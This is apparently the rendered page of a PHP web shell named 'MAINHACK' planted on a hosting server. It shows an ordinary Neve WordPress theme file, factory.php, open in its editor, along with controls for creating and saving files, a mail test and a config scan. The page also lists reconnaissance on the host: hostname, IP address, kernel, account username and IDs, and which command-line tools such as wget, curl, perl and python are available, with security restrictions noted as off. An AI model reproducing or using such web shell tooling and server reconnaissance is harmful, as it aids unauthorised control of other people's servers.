[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: factory.php
<?php /** * Features Factory * * Author: Andrei Baicus <andrei@themeisle.com> * Created on: 17/08/2018 * * @package Neve\Core */ namespace Neve\Core; /** * The class responsible for instantiating new Neve features. * * @package Neve\Core * @author Themeisle <friends@themeisle.com> */ class Factory { /** * Modules * * @var array */ private $modules; /** * The modules namespace. * * @var string */ private $namespace; /** * Factory constructor. * * @param array $modules the modules that will be loaded. * @param string $namespace the modules namespace. */ public function __construct( $modules, $namespace = '\\Neve\\' ) { if ( ! is_array( $modules ) || empty( $modules ) ) { return; } $this->namespace = $namespace; $this->modules = $modules; } /** * Actually load the modules. */ public function load_modules() { foreach ( $this->modules as $module_name ) { $module = $this->build( $module_name ); if ( $module !== null ) { $module->init(); } } } /** * The build method for creating a new Neve module class. * * @since 1.0.0 * @access public * * @param string $class The name of the feature to instantiate. * * @return object|null */ public function build( $class ) { $full_class_name = $this->namespace . $class; return new $full_class_name(); } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium171.web-hosting.com
Server IP: 162.0.209.115
PHP Version: 8.0.30
Server Software: LiteSpeed
System: Linux premium171.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 71.43 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
No
pkexec:
No
git:
Yes
User Info
Username: aircyknj
User ID (UID): 2056
Group ID (GID): 2052
Script Owner UID: 2056
Current Dir Owner: 2056